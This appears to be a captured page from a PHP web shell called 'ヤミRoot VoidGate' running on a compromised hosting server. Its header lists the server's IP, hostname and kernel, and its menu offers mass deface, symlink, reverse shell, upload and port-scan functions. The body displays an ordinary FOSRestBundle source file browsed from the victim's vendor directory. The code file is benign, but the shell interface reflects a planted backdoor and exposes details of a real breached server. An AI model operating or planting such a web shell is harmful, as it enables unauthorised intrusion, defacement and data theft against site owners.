ヤミRoot VoidGate
User / IP
:
216.73.216.110
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
friendsofsymfony
/
rest-bundle
/
Request
/
Viewing: RequestBodyParamConverter.php
<?php /* * This file is part of the FOSRestBundle package. * * (c) FriendsOfSymfony <http://friendsofsymfony.github.com/> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace FOS\RestBundle\Request; use FOS\RestBundle\Context\Context; use FOS\RestBundle\Serializer\Serializer; use JMS\Serializer\Exception\Exception as JMSSerializerException; use JMS\Serializer\Exception\UnsupportedFormatException; use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter; use Sensio\Bundle\FrameworkExtraBundle\Request\ParamConverter\ParamConverterInterface; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\Exception\BadRequestHttpException; use Symfony\Component\HttpKernel\Exception\UnsupportedMediaTypeHttpException; use Symfony\Component\OptionsResolver\OptionsResolver; use Symfony\Component\Serializer\Exception\ExceptionInterface as SymfonySerializerException; use Symfony\Component\Validator\Validator\ValidatorInterface; /** * @author Tyler Stroud <tyler@tylerstroud.com> */ class RequestBodyParamConverter implements ParamConverterInterface { private $serializer; private $context = []; private $validator; /** * The name of the argument on which the ConstraintViolationList will be set. * * @var null|string */ private $validationErrorsArgument; /** * @param Serializer $serializer * @param array|null $groups An array of groups to be used in the serialization context * @param string|null $version A version string to be used in the serialization context * @param ValidatorInterface $validator * @param string|null $validationErrorsArgument * * @throws \InvalidArgumentException */ public function __construct( Serializer $serializer, $groups = null, $version = null, ValidatorInterface $validator = null, $validationErrorsArgument = null ) { $this->serializer = $serializer; if (!empty($groups)) { $this->context['groups'] = (array) $groups; } if (!empty($version)) { $this->context['version'] = $version; } if (null !== $validator && null === $validationErrorsArgument) { throw new \InvalidArgumentException('"$validationErrorsArgument" cannot be null when using the validator'); } $this->validator = $validator; $this->validationErrorsArgument = $validationErrorsArgument; } /** * {@inheritdoc} */ public function apply(Request $request, ParamConverter $configuration) { $options = (array) $configuration->getOptions(); if (isset($options['deserializationContext']) && is_array($options['deserializationContext'])) { $arrayContext = array_merge($this->context, $options['deserializationContext']); } else { $arrayContext = $this->context; } $this->configureContext($context = new Context(), $arrayContext); try { $object = $this->serializer->deserialize( $request->getContent(), $configuration->getClass(), $request->getContentType(), $context ); } catch (UnsupportedFormatException $e) { return $this->throwException(new UnsupportedMediaTypeHttpException($e->getMessage(), $e), $configuration); } catch (JMSSerializerException $e) { return $this->throwException(new BadRequestHttpException($e->getMessage(), $e), $configuration); } catch (SymfonySerializerException $e) { return $this->throwException(new BadRequestHttpException($e->getMessage(), $e), $configuration); } $request->attributes->set($configuration->getName(), $object); if (null !== $this->validator && (!isset($options['validate']) || $options['validate'])) { $validatorOptions = $this->getValidatorOptions($options); $errors = $this->validator->validate($object, null, $validatorOptions['groups']); $request->attributes->set( $this->validationErrorsArgument, $errors ); } return true; } /** * {@inheritdoc} */ public function supports(ParamConverter $configuration) { return null !== $configuration->getClass() && 'fos_rest.request_body' === $configuration->getConverter(); } /** * @param Context $context * @param array $options */ protected function configureContext(Context $context, array $options) { foreach ($options as $key => $value) { if ('groups' === $key) { $context->addGroups($options['groups']); } elseif ('version' === $key) { $context->setVersion($options['version']); } elseif ('maxDepth' === $key) { @trigger_error('Context attribute "maxDepth" is deprecated since version 2.1 and will be removed in 3.0. Use "enable_max_depth" instead.', E_USER_DEPRECATED); $context->setMaxDepth($options['maxDepth']); } elseif ('enableMaxDepth' === $key) { $context->enableMaxDepth($options['enableMaxDepth']); } elseif ('serializeNull' === $key) { $context->setSerializeNull($options['serializeNull']); } else { $context->setAttribute($key, $value); } } } /** * Throws an exception or return false if a ParamConverter is optional. */ private function throwException(\Exception $exception, ParamConverter $configuration) { if ($configuration->isOptional()) { return false; } throw $exception; } /** * @param array $options * * @return array */ private function getValidatorOptions(array $options) { $resolver = new OptionsResolver(); $resolver->setDefaults([ 'groups' => null, 'traverse' => false, 'deep' => false, ]); return $resolver->resolve(isset($options['validator']) ? $options['validator'] : []); } }
Coded With 💗 by
0x6ick